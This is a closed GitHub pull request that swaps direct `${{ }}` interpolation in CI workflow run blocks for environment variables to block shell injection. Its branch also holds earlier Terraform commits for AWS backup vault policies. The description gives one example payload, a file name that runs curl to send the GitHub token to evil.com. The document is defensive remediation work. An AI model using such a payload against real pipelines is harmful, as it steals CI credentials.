fix: prevent command injection in CI workflow#326
Closed
Conversation
Add aws_backup_vault_policy resource support to enable cross-account backup scenarios and compliance controls. Features: - vault_policy variable with comprehensive JSON and security validation - aws_backup_vault_policy resource supporting both standard and air-gapped vaults - Rich outputs with management commands and console URLs - Complete cross_account_vault_policy example with KMS encryption and vault lock - Security-first design with validation bypass for advanced use cases Resolves #318 🤖 Generated with [Claude Code](https://claude.ai/code) Co-authored-by: Luis M. Gallardo D. <[email protected]>
…cy example - Remove duplicate data source declarations in outputs.tf - Replace hardcoded account IDs with variable references in main.tf - Fix variable ordering by moving vault_policy_bypass_security_validation before vault_policy - Add missing trailing newlines to all example files Co-authored-by: Luis M. Gallardo D. <[email protected]>
- Fix variable validation cross-reference error in variables.tf - Move vault policy security validation from variables.tf to main.tf locals - Terraform variable validation can only reference the variable itself - Add missing newlines at end of all example files for proper formatting - Maintain security validation logic while fixing Terraform syntax issues 🤖 Generated with [Claude Code](https://claude.ai/code) Co-authored-by: Luis M. Gallardo D. <[email protected]>
- Replace wildcard resources (*) with specific vault ARN patterns for security - Restrict KMS root permissions to specific required actions instead of kms:* - Use vault_name_prefix variable instead of hardcoded 'dr-vault' prefix - Remove duplicate JSON validation in variables.tf to improve efficiency - Add backup:CopySourceRegion Null condition to prevent bypass attacks These changes implement least-privilege access patterns and follow AWS security best practices. Co-authored-by: Luis M. Gallardo D. <[email protected]>
- Run terraform fmt on all modified files - Remove unused security validation local from main.tf - Remove unused vault_policy_bypass_security_validation variable - Remove unused variables from cross_account_vault_policy example - Update README.md via terraform-docs
Replace direct ${{ }} expression interpolation with environment variables
in all `run:` blocks to prevent shell command injection via attacker-controlled
PR filenames, commit messages, and author names.
Fixes #325
Owner
Author
|
Closing - will recreate from a clean branch off master |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary
.github/workflows/claude-code-review.ymlreported in [Security] Security issue in your GitHub CI workflow YAML files #325${{ }}expression interpolation of attacker-controlled data inrun:shell blocks withenv:variable mappingsVulnerability Details
Attack vector: An attacker could craft malicious PR filenames (e.g.,
$(curl evil.com/exfil?t=$GITHUB_TOKEN).tf) or commit messages containing shell metacharacters. When these values were interpolated via${{ }}directly intorun:blocks, the shell would execute the injected commands.Affected steps (now fixed):
commit_message,commit_author,changed_fileswere directly interpolated intoechocommandspr_head_refwas directly interpolated into git commandsgithub.event_nameand step outputs used directlybase.ref,issue.number) used directlyFix Pattern
Test plan
codebot hunt)Closes #325